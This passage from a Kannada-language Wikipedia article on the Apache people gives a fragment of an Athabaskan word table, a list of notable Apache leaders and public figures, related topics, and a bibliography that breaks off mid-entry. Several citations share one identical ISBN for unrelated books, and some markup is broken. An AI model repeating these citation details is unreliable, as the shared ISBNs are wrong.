! ! ನವಜೋ, ನವಾಜೋ ! ಚಿರಿಕಹುಆ ! ಸ್ಲೇವಿ ! ಚಿಲ್ಕೋಟಿನ್ |- | {{IPA|*taʔ}} | "father" ("ತಂದೆ") | ''-taaʼ (-ತಾʼ)'' | {0-taa (-ತಾ){/0} | ''-tá (-ತ){{IPA|ʔ}}'' | ''-tá (-ತ)'' |- | {{IPA|*tu·}} "water" (ನೀರು) | ''tó (ತೋ)'' | ''tú (ತು)'' | ''tù (ತು)'' | ''tù (ತು)'' |} == ಪ್ರಖ್ಯಾತ ಅಪಾಚೆ == [[ಚಿತ್ರ:Kathy Kitcheyan.jpg|right|thumb|200px|ಕಾಥಿ ಕಿಚೆಯನ್, ಸಾನ್ ಕಾರ್ಲೊಸ್ ಅಪಾಚೆಯ ಅಧ್ಯಕ್ಷೆ]] *ಕೋಚಿಸ್, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ಮಂಗಾಸ್ ಕೋಲೋರಡಾಸ್, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ಲೋಕೋ, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ತಾಜಾ, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ನಾನಾ, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ಮಗಾಸ್, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ಜೆರೋನಿಮೋ, ಅಪಾಚೆ ಮುಖಂಡ *ದಾತೆಸ್ತೆ, ಅಪಾಚೆ ಮಹಿಳಾ ಯೋಧೆ *ಅಲ್ಚೆಸೇ, ಅಪಾಚೆ ಸ್ಕೌಟ್ ಮತ್ತು ಮುಖ್ಯಸ್ಥ *ನೈಚೇ, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ವಿಕ್ಟೋರಿಯೋ, ಅಪಾಚೆ ಮುಖ್ಯಸ್ಥ *ಗೌಯೆನ್, ಅಪಾಚೆ ಮಹಿಳಾ ಯೋಧೆ *ಲೋಜೆನ್, ಮಹಿಳಾ ಅಪಾಚೆ ಯೋಧೆ *ಚಟ್ಟೋ, ಅಪಾಚೆ ಸ್ಕೌಟ್ *ಜೈ ತವಾರೆ, ನಟ *ರೌಲ್ ತ್ರುಜಿಲ್ಲೋ, ನೃತ್ಯಪಟು, ನೃತ್ಯ ನಿದೇಶಕ, ನಟ *ಮೇರಿ ಕಿಮ್ ಟಿಟ್ಲಾ, ಪ್ರಕಾಶಕಿ, ಪತ್ರಕರ್ತೆ, ಮಾಜಿ ಟೀವಿ ರಿಪೋರ್ಟರ್, ಮತ್ತು 2008 ರಲ್ಲಿ [[ಆರಿಜೋನ|ಅರಿಝೋನಾದ]] ಪ್ರಥಮ ಕಾಂಗ್ರೆಸ್ಸನಲ್ ಡಿಸ್ಟ್ರಿಕ್ಟ್್ನ ಒಬ್ಬ ಅಭ್ಯರ್ಥಿ. == ಇವನ್ನೂ ಗಮನಿಸಿ == [[ಚಿತ್ರ:Western or chiri apache playing cards NMAI.jpg|thumb|200px|ಕಚ್ಚಾ ತೊಗಲಿನ ಕಾರ್ಡ್ ಆಡುತ್ತಿರುವ ಅಪಾಚೆ, ಸುಮಾರು 1875-1885 NMAI ಸಂಗ್ರಹ]] * ಅಥಾಭಾಸ್ಕನ್ ಭಾಷೆಗಳು * ಅಪಾಚೆ ಪಾಸ್ ಯುದ್ದ * ಸಿಯೆನ್ನೆಗುಲ್ಲಾ ಯುದ್ಧ * ಕ್ಯಾಂಪ್ ಗ್ರಾಂಟ್ ಹತ್ಯಾಕಾಂಡ * ಚಿರಿಕಹುಆ * ''ಫೋರ್ಟ್ ಅಪಾಚೆ'' , ಐತಿಹಾಸಿಕ ಕಥಾಚಿತ್ರ ಅಮೆರಿಕದ ಸೇನೆ ಮತ್ತು ಕೋಚಿಸೆ'ಯ ಬಾಂಡ್ ನಡುವಿನ ಯುದ್ಧಗಳ ಚಿತ್ರಣವಿರುವ ಸಿನಿಮಾ * ಜಿಕಾರಿಲ್ಲಾ ಅಪಾಚೆ * ಲಿಪಾನ್ ಅಪಾಚೆ ಜನರು * ಮೆಸ್ಕಲೆರೋ * ಮೂಲನಿವಾಸಿ ಅಮೆರಿಕದ ಬುಡಕಟ್ಟುಜನ * ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌ನ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು * ನವಾಜೋ ಜನರು * ಪ್ಲೇನ್ಸ್ ಅಪಾಚೆ * ಸಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ ಭಾಷೆಗಳು * ಪಶ್ಚಿಮದ ಅಪಾಚೆ == ಟಿಪ್ಪಣಿಗಳು == {{Reflist|2}} == ಗ್ರಂಥಸೂಚಿ == *ಸೋಲೆದಾದ್, ನೆಲ್ ಡೇವಿಡ್ ಎಸ್ (2009). "ಈಸ್ಟರ್ನ್ ಅಪಾಚೆ ವಿಜಾರ್ಡ್ ಕ್ರಾಫ್ಟ್", ''ಮಿಥಿಕಲ್ ಪೇಪರ್ಸ್ ಆಫ್ ದಿ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಸೇಬು'' (ನಂ.14). ಫಿಲಿಪ್ಪೈನ್ಸ್: ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಸೇಬು ಪ್ರೆಸ್, * ಬಾಸ್ಸೋ, ಕೀಥ್ ಎಚ್. (1969). " ವೆಸ್ಟರ್ನ್ ಅಪಾಚೆ ವಿಟ್ಚ್ ಕ್ರಾಫ್ಟ್", ''ಆಂಥ್ರೋಪೋಲಾಜಿಕಲ್ ಪೇಪರ್ಸ್ ಆಫ್ ದಿ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಅರಿಝೋನಾ'' (ನಂ. 15). ಟಕ್ಸನ್: ಅರಿಜೋನಾ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮುದ್ರಣಾಲಯ ಪ್ರೆಸ್ . *{{cite book |author=Brugge, David M. |authorlink= |coauthors= |title= Navajos in the Catholic Church Records of New Mexico 1694 - 1875|year=1968 |publisher=Research Section, The Navajo Tribe |location= Window Rock, Arizona|id= }} * ಬ್ರಗ್ಗೆ, ಡೇವಿಡ್ ಎಂ. (1983). "ನವಾಜೋ ಪ್ರಿಹಿಸ್ಟರಿ ಆಂಡ್ ಹಿಸ್ಟರಿ ಟು 1850", ಎ. ಒರ್ಟಿಜ್ (ಆನೃತ್ತಿ.)ನಲ್ಲಿ, ''ಹ್ಯಾಂಡ್ ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ನಾರ್ಥ್ ವೆಸ್ಟ್'' (ಸಂಪುಟ. 10, ಪುಟಗಳು.&nbsp;489–501). ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್ ಸೋನಿಯನ್ ಇನ್್ಸ್ಟಿಟ್ಯೂಶನ್. *ಕೋರ್ಡಲ್, ಲಿಂಡಾ ಎಸ್. ''ಏನ್ಸಿಯಂಟ್ ಪ್ಯುಬ್ಲೋ ಪೀಪಲ್ಸ್ '' . ಸೇಂಟ್ ರೆಮಿ ಪ್ರೆಸ್ ಆಂಡ್ ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್್ಸ್ಟಿಟ್ಯೂಶನ್, 1994. ISBN 0-8065-2201-1 * ಎಟುಲಾನ್, ರಿಚರ್ಡ್ ಡಬ್ಲು. ''ನ್ಯೂ ಮೆಕ್ಸಿಕನ್ ಲೈವ್ಸ್: ಒಂದು ಜೀವನ ಚರಿತ್ರಾತ್ಮಕ ಇತಿಹಾಸ'' , ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಸೆಂಟರ್ ಫಾರ್ ದಿ ಅಮೆರಿಕನ್ ವೆಸ್ಟ್, ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಪ್ರೆಸ್, 2002. ISBN 0-8065-2201-1 * ಫೋಸ್ಟರ್, ಮೊರಿಸ್ ಡಬ್ಲು; ಮತ್ತು ಮೆಕ್ ಕಲ್ಲೊಫ್, ಮಾರ್ಥಾ. (2001). "ಪ್ಲೇನ್ಸ್ ್ಪಾಚೆ", ಆರ್.ಜೆ. ಡೆಮಲ್ಲೆ (ಆವೃತ್ತಿ.)ಯಲ್ಲಿ, ''ಹ್ಯಾಂಡ್ ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಪ್ಲೇನ್ಸ್'' (ಸಂಪುಟ. 13, ಪುಟಗಳು.&nbsp;926–939). ವಾಷಿಂಗ್ಟನ್ ಡಿ.ಸಿ.: ಸ್ಮಿಥ್ ಸೋನಿಯನ್ ಇನ್್ಸ್ಟಿಟ್ಯೂಶನ್. * {{cite book | author=Goodwin, Greenville | title=The Social Organization of the Western Apache | location=Tucson, Arizona| publisher=University of Arizona Press |origyear=1941| year=1969| id=LCCN 76-75453}} * ಗುನ್ನರ್ಸನ್ ಜೇಮ್ಸ್ ಎಚ್. (1979). "ಸದರ್ನ್ ಅಥಾಪಾಸ್ಕನ್ ಆರ್ಕಿಯೋಲಜಿ", ಎ. ಒರ್ಟಿಜ್ (ಆವೃತ್ತಿ.)ಯಲ್ಲಿ, '' ಹ್ಯಾಂಡ್ ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ನೈಋತ್ಯ'' (ಸಂಪುಟ. 9, ಪುಟಗಳು.&nbsp;162–169). ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್್ಸ್ಟಿಟ್ಯೂಶನ್ * ಹಲೀ, ಜೇಮ್ಸ್ ಎಲ್. ''ಅಪಾಚೆಸ್: ಎ ಹಿಸ್ಟರಿ ಆಂಡ್ ಕಲ್ಚರ್ ಪೋರ್್ಟ್ರೇಟ್'' . ಒಕ್ಲಹೋಮಾ ಯುನಿವರ್ಸಿಟಿ ಮುದ್ರಣಾಲಯ, 1997. ISBN 0-8065-2201-1 * ಪ್ಯಾಮಂಡ್, ಜಾರ್ಜ್ ಪಿ., ಮತ್ತು ರೇ, ಅಗಾಪಿಟೋ (ಆವೃತ್ತಿಗಳು.). (1940). ''ನೆರೇಶನ್ಸ್ ಆಫ್ ದಿ ಕೋರೋನಡೋ ಎಕ್ಷ್್ಪಿಡಿಶನ್ 1540-1542.'' ಅಲ್ಬುಕರ್ಕ್: ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಯುನಿವರ್ಸಿಟಿ ಮುದ್ರಣಾಲಯ. * ಹೆಂಡರ್ಸನ್, ರಿಚರ್ಡ್. (1994). "ರಿಪ್ಲಿಕೇಟ್ಂಗ್ ಡಾಗ್ 'ಟ್ರಾವೈಸ್' ಟ್ರಾವೆಲ್ ಆನ್ ದಿ ನಾರ್ಥನ್ ಪ್ಲೇನ್ಸ್", ''ಬಯಲು ಮಾನವಶಾಸ್ತ್ರಜ್ಞ'' , ''39'' , 145–59. * ಹೋಡ್ಜ್, ಎಫ್. ಡಬ್ಲ್ಯೂ. (ಆವೃತ್ತಿ). (1907). ''ಹ್ಯಾಂಡ್ ಬುಕ್ ಆಫ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್'' . ವಾಷಿಂಗ್ಟನ್‌ * ಹೊಯ್ಜೆರ್, ಹ್ಯಾರಿ. (1938). "ದಿ ಸದರ್ನ್ ಅಥಾಪಾಸ್ಕನ್ ಲ್ಯಾಂಗ್ವೇಜಸ್", ''ಅಮೆರಿಕನ್ ಆಂಥ್ರಾಪೋಲೋಜಿಸ್ಟ್'' , ''40'' (1), 75–87. * ಹೊಯ್ಜರ್, ಹ್ಯಾರಿ. (1971). "ದಿ ಪೋಸಿಸನ್ ಆಫ್ ದಿ ಅಪಾಚಿನ್ ಲ್ಯಾಂಗ್ವೇಜಸ್ ಇನ್ ದಿ ಅಥಾಪಾಸ್ಕನ್ ಸ್ಟಾಕ್", ಕೆ.ಎಚ್. ಬಾಸ್ಸೋ ಮತ್ತು ಎಂ.ಇ. ಓಪ್ಲರ್ (ಆವೃತ್ತಿ)ಗಳಲ್ಲಿ, ''ಅಪಾಚಿಯನ್ ಕಲ್ಚರ್ ಹಿಸ್ಟರಿ ಆ್ಯಂಡ್ ಎತ್ನೋಲಜಿ '' (ಪುಟಗಳು.&nbsp;3–6). ಅಂಥ್ರಾಪೋಲಜಿ ಪೇಪರ್ಸ್ ಆಫ್ ದಿ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಅರಿಝೋನಾ (ನಂ. 21). ಟಕ್ಸನ್: ಅರಿಜೋನಾ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮುದ್ರಣಾಲಯ ಪ್ರೆಸ್ . * ಹುಲ್ಡ್, ಮಾರ್ಟಿನ್ ಇ. (1983). "ಅಥಾಪಾಸ್ಕನ್ ಬಿಯರ್ಸ್", ''ಇಂಟರ್್ನ್ಯಾಶನಲ್ ಜರ್ನಲ್ ಆಫ್ ಅಮೆರಿಕನ್ ಲಿಂಗ್ವಿಸ್ಟಿಕ್ಸ್'' , ''49'' (2), 186–195. * ಕ್ರೌಸ್ಸ್, ಮೈಕೆಲ್ ಇ. (1973). "ನ-ಡೆನೆ", ಟಿ.ಎ. ಸೆಬೆಯೋಕ್ (ಆವೃತ್ತಿ.)ಯಲ್ಲಿ, ''ಲಿಂಗ್ವಿಸ್ಟಿಕ್ಸ್ ಇನ್ ನಾರ್ಥ್ ಅಮೆರಿಕ'' (ಪುಟಗಳು.&nbsp;903–978). ''ಕರೆಂಟ್ ಟ್ರೆಂಡ್ಸ್ ಇನ್ ಲಿಂಗ್ವಿಸ್ಟಿಕ್ಸ್'' (ಸಂಪುಟ. 10). ದಿ ಹಗ್ಯು: ಮೌಂಟನ್. (ಮರುಮುದ್ರಣ 1976). * ಲ್ಯಾಂಡರ್, ಹರ್ಬರ್ಟ್ ಜೆ. (1960). "ದಿ ಲಾಸ್ ಆಫ್ ದಿ ಅಥಾಪಾಸ್ಕನ್ ವರ್ಡ್ಸ್ ಫಾರ್ ಫಿಶ್ ಇನ್ ದಿ ಸೌಥ್ ವೆಸ್ಟ್", ''ಇಂಟರ್್ನ್ಯಾಶನಲ್ ಜರ್ನಲ್ ಆಫ್ ಅಮೆರಿಕನ್ ಲಿಂಗ್ವಿಸ್ಟಿಕ್ಸ್, '' , ''26'' (1), 75–77. * ಮೈಲ್ಸ್, ಜನರಲ್ ನೆಲ್ಸನ್ ಅಪ್ಲೀಟನ್. (1897). ''ಜನರಲ್ ನೆಲ್ಸನ್ ಎ.ಮಿಲ್ಸ್ ಅವರ ವೈಯಕ್ತಿಕ ಸ್ಮರಣೆಗಳು ಮತ್ತು ನಿರೀಕ್ಷಣೆಗಳು ಯಾದವಿಕಲಹ ಕುರಿತು ಸಂಕ್ಷಿಪ್ತ ವಿಚಾರಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಅಥವಾ ಫ್ರಾಂ ನ್ಯೂ ಇಂಗ್ಲಂಡ್ ಟು ಗೋಲ್ಡನ್ ಗೇಟ್: ಆ್ಯಂಡ್ ದಿ ಸ್ಟೋರಿ ಆಫ್ ಹಿಸ್ ಇಂಡಿಯನ್ ಕ್ಯಾಂಪೇನ್ಸ್, ನಮ್ಮ ಮಹಾನ್ ಪಶ್ಚಿಮ ಸಾಮ್ರಾಜ್ಯದ ಬಗ್ಗೆ ಪರಿಶೋಧ, ಅಭಿವೃದ್ಧಿ ಮತ್ತು ಪ್ರಗತಿಯ ಕುರಿತು ವಿವರಣೆಗಳೊಂದಿಗೆ.'' ಚಿಕಾಗೋ: ದಿ ವೆರ್ನರ್ ಕಂಪನಿ. * ನ್ಯೂಮನ್, ಸ್ಟ್ಯಾನ್ಲಿ. (1958). ''ಝುನಿ ಡಿಕ್ಷನರಿ'' . ಬ್ಲೂಮಿಂಗ್ಟನ್: ಇಂಡಿಯಾನಾ ಯುನಿವರ್ಸಿಟಿ. * ನ್ಯೂಮನ್, ಸ್ಟ್ಯಾನ್ಲಿ. (1965). ''ಝುನಿ ಗ್ರಾಮರ್ '' . ಅಲ್ಬುಕರ್ಕ್: ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಯುನಿವರ್ಸಿಟಿ ಮುದ್ರಣಾಲಯ. * ಒಪ್ಲರ್, ಮೊರಿಸ್ ಇ. (1936ಎ). "ಎ ಸಮ್ಮರಿ ಆಫ್ ಜಿಕಾರಿಲ್ಲಾ ಅಪಾಚೆ ಕಲ್ಚರ್", ''ಅಮೆರಿಕನ್ ಅಂಥ್ರಾಪೋಲಜಿಸ್ಟ್'' , ''38'' (2), 202–223. * ಒಪ್ಲರ್ ಮೊರಿಸ್ ಇ. (1936ಬಿ). "ದಿ ಕಿನ್ಶಿಪ್ ಸಿಸ್ಟಮ್ಸ್ ಆಫ್ ದಿ ಸದರ್ನ್ ಅಥಾಪಾಸ್ಕನ್-ಸ್ಪೀಕಿಂಗ್ ಟ್ರೈಬ್ಸ್", ''ಅಮೆರಿಕನ್ ಅಂಥ್ರಾಪೋಲಜಿಸ್ಟ್'' , ''38'' (4), 620–633. * ಒಪ್ಲರ್, ಮೊರಿಸ್ ಇ. (1941). ''ಆ್ಯನ್ ಅಪಾಚೆ ಲೈಪ್-ವೇ: ದಿ ಇಕಾನಾಮಿಕ್, ಸೋಶಿಯಲ್, ಆ0ಡ್ ರಿಲಿಜಿಯಸ್ ಇನ್್ಸ್ಟಿಟ್ಯೂಶನ್ಸ್ ಆಫ್ ದಿ ಚಿರಿಕಹುಓ ಇಂಡಿಯನ್ಸ್'' ಚಿಕಾಗೊ: ಚಿಕಾಗೊ ಯುನಿವರ್ಸಿಟಿ ಮುದ್ರಣಾಲಯ‌. * ಒಪ್ಲರ್, ಮೊರಿಸ್ ಇ.(1975). "ಪ್ರಾಬ್ಲೆಮ್ಸ್ ಇನ್ ಅಪಾಚಿಯನ್ ಕಲ್ಚರಲ್ ಹಿಸ್ಟರಿ, ವಿಥ್ ಸ್ಪೆಶಿಯಲ್ ರೆಫರೆನ್ಸ್ ಟು ದಿ ಲಿಪಾನ್ ಅಪಾಚೆ", ''ಮಾನವಿಕ ತ್ರೈಮಾಸಿಕ'' , ''48'' (3), 182–192. * ಒಪ್ಲರ್, ಮೊರಿಸ್ ಇ. (1983ಎ). "ದಿ ಅಪಾಚಿಯನ್ ಕಲ್ಚರ್ ಪ್ಯಾಟರ್ನ್ ಆಂಡ್ ಇಟ್ಸ್ ಒರಿಜಿನ್ಸ್", ಎ. ಒರ್ಟಿಜ್ (ಆವೃತ್ತಿ.), ''ಹ್ಯಾಂಡ್್ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಸೌಥ್್ವೆಸ್ಟ್'' (ಸಂಪುಟ. 10, ಪುಟಗಳು.&nbsp;368–392). ವಾಷ್ಟಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್ಸ್್ಟಿಟ್ಯೂಶನ್. * ಓಪ್ಲರ್, ಮೊರಿಸ್ ಇ. (1983ಬಿ). "ಚಿರಿಕಹುಆ ಅಪಾಚೆ", ಎ. ಒರ್ಟಿಜ್ (ಆವೃತ್ತಿ.)ಯಲ್ಲಿ, ''ಹ್ಯಾಂಡ್್ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಸೌಥ್್ವೆಸ್ಟ್'' (ಸಂಪುಟ. 10, ಪುಟಗಳು.&nbsp;401–418). ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್ಸ್್ಟಿಟ್ಯೂಶನ್. * ಒಪ್ಲರ್, ಮೊರಿಸ್ ಇ. (1983ಸಿ). "ಮೆಸ್ಕಲೆರೋ ಅಪಾಚೆ", ಎ. ಒರ್ಟಿಜ್ (ಆವೃತ್ತಿ.ಯಲ್ಲಿ), ''ಹ್ಯಾಂಡ್್ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಸೌಥ್್ವೆಸ್ಟ್'' (ಸಂಪುಟ. 10, ಪುಟಗಳು.&nbsp;419–439). ವಾಷ್ಟಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್ಸ್್ಟಿಟ್ಯೂಶನ್. * ಒಪ್ಲರ್, ಮೊರಿಸ್ ಇ. (2001). "ಲಿಪಾನ್ ಅಪಾಚೆ", ಆರ್.ಜೆ. ಡೆಮಲ್ಲಿ (ಆವೃತ್ತಿ.), ''ಹ್ಯಾಂಡ್್ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಪ್ಲೇನ್ಸ್'' (ಸಂಪುಟ. 13, ಪುಟಗಳು.&nbsp;941–952). ವಾಷ್ಟಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್ಸ್್ಟಿಟ್ಯೂಶನ್. * ಪ್ಲಾಗ್, ಸ್ಟೆಫೆನ್. 1997 ''ಏನ್ಸಿಯಂಟ್ ಪೀಪಲ್ಸ್ ಆಫ್ ದಿ ಅಮೆರಿಕನ್ ಸೌಥ್್ವೆಸ್ಟ್.'' ಲಂಡನ್: ಥೇಮ್ಸ್ ಆ್ಯಂಡ್ ಲಂಡನ್, LTD. ISBN 0-500-27939-X. * ರಿಯೂಸ್, ವಿಲ್ಲೆಮ್ ಜೆ., ಡೆ. (1983). "ದಿ ಅಪಾಚಿಯನ್ ಕಲ್ಚರ್ ಪ್ಯಾಟರ್ನ್ ಆಂಡ್ ಇಟ್ಸ್ ಒರಿಜಿನ್ಸ್: ಸಿನೋನಿಮಿ", ಎ. ಒರ್ಟಿಜ್ (ಆವೃತ್ತಿ.)ಯಲ್ಲಿ, ''ಹ್ಯಾಂಡ್್ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಸೌಥ್್ವೆಸ್ಟ್'' (ಸಂಪುಟ. 10, ಪುಟಗಳು.&nbsp;385–392). ವಾಷ್ಟಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್ಸ್್ಟಿಟ್ಯೂಶನ್. * ಶ್ರೋಡರ್, ಆಲ್ಬರ್ಟ್ ಎಚ್.(1963). "ನವಾಜೋ ಆಂಡ್ ಅಪಾಚೆ ರಿಲೇಶನ್್ಶಿಪ್ಸ್ ವೆಸ್ಟ್ ಆಫ್ ದಿ ರಿಯೋ ಗ್ರಾಂಡೆ", ''ಎಲ್ ಪಲಾಶಿಯೋ'' , ''70'' (3), 5–23. * ಶ್ರೋಡರ್, ಆಲ್ಬರ್ಟ್ ಎಚ್.. (1974ಎ). "ಎ ಸ್ಟಡಿ ಆಫ್ ದಿ ಅಪಾಚೆ ಇಂಡಿಯನ್: ಪಾರ್ಟ್ಸ್ 1–3", ''ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ ಎತ್ನಾಲಜಿ:ಇಂಡಿಯನ್ಸ್ ಆಫ್ ದಿ ಸೌಥ್್ವೆಸ್ಟ್'' ನಲ್ಲಿ. ನ್ಯೂಯಾರ್ಕ್: ಗಾರ್ಲಂಡ್. * ಶ್ರೋಡರ್, ಆಲ್ಬರ್ಟ್ ಎಚ್. (1974ಬಿ). "ಎ ಸ್ಟಡಿ ಆಫ್ ದಿ ಅಪಾಚೆ ಇಂಡಿಯನ್: ಪಾರ್ಟ್ಸ್ 4–5", ''ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ ಎತ್ನೋಲಜಿ: ಇಂಡಿಯನ್ಸ್ ಆಫ್ ದಿ ಸೌಥ್್ವೆಸ್ಟ್'' . ನ್ಯೂಯಾರ್ಕ್: ಗಾರ್ಲಂಡ್. * ಶ್ರೋಡರ್, ಆಲ್ಬರ್ಟ್. (1974ಸಿ). "ದಿ ಜಿಕಾರಿಲ್ಲಾ ಅಪಾಚೆ", ''ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ ಎತ್ನೋಲಜಿ: ಇಂಡಿಯನ್ಸ್ ಆಫ್ ದಿ ಸೌಥ್್ವೆಸ್ಟ್.'' . ನ್ಯೂಯಾರ್ಕ್: ಗಾರ್ಲಂಡ್. * ಸೆಮೌರ್, ಡೆನಿ ಜೆ. (2004) "ಎ.ರಾಂಚೇರಿಯಾ ಇನ್ ದಿ ಗ್ರಾನ್ ಅಪಾಚೆರಿಯಾ: ಎವಿಡನ್ಸ್ ಆಫ್ ಇಂಟರ್್ಕಲ್ಚರಲ್ ಇಂಟೆರ್ಯಾಕ್ಸನ್ ಆ್ಯಟ್ ದಿ ಸೆರ್ರೋ ರೋಜೋ ಸೈಟ್", ''ಬಯಲು ಮಾನವಶಾಸ್ತ್ರಜ್ಞ'' 49(190):153-192. * ಸೇಮೌರ್, ಡೆನಿ ಜೆ. (2009ಎ) "ನೈಂಟೀಂತ್-ಸೆಂಚುರ್ ಅಪಾಚೆ ವಿಕಿಅಪ್ಸ್: ಹಿಸ್ಟಾರಿಕಲ್ ಡಾಕ್ಯುಮೆಂಟೆಡ್ ಮಾಡೆಲ್ಸ್ ಫಾರ್ ಆರ್ಕಿಯಾಜಿಕಲ್ ಸಿಗ್ನೇಚರ್ಸ್ ಆಫ್ ದಿ ಡ್ವೆಲಿಂಗ್ಸ್ ಆಫ್ ಮೊಬೈಲ್ ಪೀಪಲ್", ''ಎಂಟಿಕ್ವಿಟಿ'' 83(319):157-164. * ಸೇಮೌರ್r, ಡೆನಿ ಜೆ.(2009ಬಿ) "ಇವಾಲ್ಯುಯೇಟಿಂಗ್ ಐ ವಿಟ್ನೆಸ್ ಅಕೌಂಟ್ಸ್ ಆಫ್ ನೇಟಿವ್ ಪೀಪಲ್ಸ್ ಅಲಾಂಗ್ ದಿ ಕೊರೊನಡೋ ಟ್ರೇಲ್ ಫ್ರಾಂ ದಿ ಇಂಟರ್್ನ್ಯಾಶನಲ್ ಬಾರ್ಡರ್ ಟು ಸಿಬೋಲ", ''ನ್ಯೂ ಮೆಕ್ಸಿಕೋ ಹಿಸ್ಟಾರಿಕಲ್ ರಿವ್ಯೂ '' 84(3):399-435. * ಸೇಮೌರ್, ಡೆನಿ ಜೆ. (2010ಎ) "ಕಾನ್ಟೆಕ್ಷುಅಲ್ ಇನ್ಕಾಗ್ರುಯಿಟಿಸ್ ಸ್ಟಾಟಿಸ್ಟಿಕಲ್ ಔಟ್್ಲೈಯರ್ಸ್ ಆಂಡ್ ಅನೋಮಲಿಸ್: ಟಾರ್ಗೆಟಿಂಗ್ ಇನ್್ಕಾನ್ಸ್್ಪಿಕ್ಯುಅಸ್ ಅಕ್ಯುಪೇಶನಲ್ ಇವೆಂಟ್ಸ್", ''ಅಮೆರಿಕನ್ ಅಂಟಿಕ್ವಿಟಿ'' 75(1):158–176. * ಸೇಮೌರ್, ಡೆನಿ ಜೆ. (2010ಬಿ) "ಸೈಕಲ್ಸ್ ಆಫ್ ರಿನ್ಯುವಲ್, ಟ್ರಾನ್ಸ್್ಪೋರ್ಟೇಬಲ್ ಅಸೆಟ್ಸ್: ಆಸ್ಪೆಕ್ಟ್ಸ್ ಆಫ್ ಅನ್ಸೆಸ್ಟರಲ್ ಅಪಾಚೆ ಹೌಸಿಂಗ್", ''ಪ್ಲೇನ್ಸ್ ಅಂಥ್ರಾಪೌಲಜಿಸ್ಟ್'' (ಸ್ಪ್ರಿಂಗ್ ಆಱ್ ಸಮ್ಮರ್ ಇಶ್ಯು) * ಸ್ವೀನೀ, ಎಡ್ವಿನ್ ಆರ್. (1998). ''ಮಂಗಾಸ್ ಕೊಲೋರಡಾಸ್: ಚೀಫ್ ಆಫ್ ದಿ ಚಿರಿಕಹುಆ ಅಪಾಚೆಸ್'' . ಒಕ್ಲಹಾಮಾ ಯುನಿವರ್ಸಿಟಿ ಮುದ್ರಣಾಲಯ ISBN 0-8065-2201-1 * ಟೆರೆಲ್, ಜಾನ್ ಅಪ್ಟಾನ್. (1972). ''ಅಪಾಚೆ ಕ್ರೋನಿಕಲ್'' . ವರ್ಲ್ಡ್ ಪಬ್ಲಿಶಿಂಗ್. ISBN 0-8065-2201-1 * ಟಿಲ್ಲರ್, ವೆರೋನಿಕಾ ಇ. (1983). "ಜಿಕಾರಿಲ್ಲಾ ಅಪಾಚೆ", ಎ. ಒರ್ಟಿಜ್ (ಆವೃತ್ತಿ.)ಯಲ್ಲಿ, ''ಹ್ಯಾಂಡ್ ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಸೌಥ್್ವೆಸ್ಟ್'' (ಸಂಪುಟ. 10, ಪುಟಗಳು.&nbsp;440–461). ವಾಷ್ಟಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್ಸ್್ಟಿಟ್ಯೂಶನ್. * ವಿಥರ್್ಸ್ಪೂನ್, ಗ್ಯಾರಿ. 